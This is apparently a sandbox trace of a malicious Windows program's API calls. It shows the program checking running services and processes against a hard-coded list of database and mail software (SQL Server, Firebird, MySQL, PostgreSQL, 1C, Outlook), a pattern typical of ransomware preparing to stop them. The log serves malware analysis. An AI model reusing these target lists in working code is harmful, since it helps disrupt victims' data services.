lstrlenW (lpString="lmhosts") returned 7 [0057.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.706] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.706] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.706] lstrlenW (lpString="MMCSS") returned 5 [0057.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.706] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.706] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.707] lstrlenW (lpString="MpsSvc") returned 6 [0057.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.707] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.707] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.707] lstrlenW (lpString="Netman") returned 6 [0057.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.707] lstrlenW (lpString="netprofm") returned 8 [0057.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.707] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.707] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.707] lstrlenW (lpString="NlaSvc") returned 6 [0057.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.707] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.707] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.707] lstrlenW (lpString="nsi") returned 3 [0057.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.707] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.707] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.707] lstrlenW (lpString="PcaSvc") returned 6 [0057.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.707] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.708] lstrlenW (lpString="PlugPlay") returned 8 [0057.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.708] lstrlenW (lpString="Power") returned 5 [0057.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.708] lstrlenW (lpString="ProfSvc") returned 7 [0057.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.708] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.708] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.708] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.708] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.708] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.708] lstrlenW (lpString="RpcSs") returned 5 [0057.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.708] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.708] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.709] lstrlenW (lpString="SamSs") returned 5 [0057.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.709] lstrlenW (lpString="Schedule") returned 8 [0057.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.709] lstrlenW (lpString="SENS") returned 4 [0057.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.709] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.709] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.709] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.709] lstrlenW (lpString="Spooler") returned 7 [0057.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.709] lstrlenW (lpString="SysMain") returned 7 [0057.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.709] lstrlenW (lpString="Themes") returned 6 [0057.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.710] lstrlenW (lpString="TrkWks") returned 6 [0057.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.710] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.710] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.710] lstrlenW (lpString="UxSms") returned 5 [0057.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0057.710] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.710] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.710] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.710] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.710] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.710] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.710] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.710] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.710] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.710] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.710] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.710] lstrlenW (lpString="Winmgmt") returned 7 [0057.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.711] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0057.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.711] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x629e28 | out: hHeap=0x5d0000) returned 1 [0057.711] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x158 [0057.716] Process32FirstW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.717] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.717] lstrlenW (lpString="System") returned 6 [0057.717] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.717] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.717] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.717] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.717] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.717] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.717] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.717] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.718] lstrlenW (lpString="smss.exe") returned 8 [0057.718] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.718] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.718] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.718] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.719] lstrlenW (lpString="csrss.exe") returned 9 [0057.719] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.719] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.719] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.719] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.720] lstrlenW (lpString="wininit.exe") returned 11 [0057.720] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.720] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.720] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0057.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0057.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0057.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0057.720] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.720] lstrlenW (lpString="csrss.exe") returned 9 [0057.720] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.720] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.720] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.721] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.721] lstrlenW (lpString="winlogon.exe") returned 12 [0057.721] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.722] lstrlenW (lpString="services.exe") returned 12 [0057.722] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.722] lstrlenW (lpString="lsass.exe") returned 9 [0057.722] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.723] lstrlenW (lpString="lsm.exe") returned 7 [0057.723] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.723] lstrlenW (lpString="svchost.exe") returned 11 [0057.723] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.724] lstrlenW (lpString="svchost.exe") returned 11 [0057.724] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.724] lstrlenW (lpString="svchost.exe") returned 11 [0057.724] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.725] lstrlenW (lpString="svchost.exe") returned 11 [0057.725] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.726] lstrlenW (lpString="svchost.exe") returned 11 [0057.726] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.726] lstrlenW (lpString="audiodg.exe") returned 11 [0057.726] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.727] lstrlenW (lpString="svchost.exe") returned 11 [0057.727] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.727] lstrlenW (lpString="svchost.exe") returned 11 [0057.727] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.728] lstrlenW (lpString="dwm.exe") returned 7 [0057.728] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.728] lstrlenW (lpString="explorer.exe") returned 12 [0057.729] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.729] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.729] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.730] lstrlenW (lpString="svchost.exe") returned 11 [0057.730] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.730] lstrlenW (lpString="taskhost.exe") returned 12 [0057.730] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.731] lstrlenW (lpString="taskeng.exe") returned 11 [0057.731] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0057.731] lstrlenW (lpString="spoken.exe") returned 10 [0057.731] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0057.732] lstrlenW (lpString="cut baby kind.exe") returned 17 [0057.732] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0057.733] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0057.733] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0057.734] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0057.734] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0057.735] lstrlenW (lpString="things apt speaker.exe") returned 22 [0057.735] Process32NextW (in: hSnapshot=0x158, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 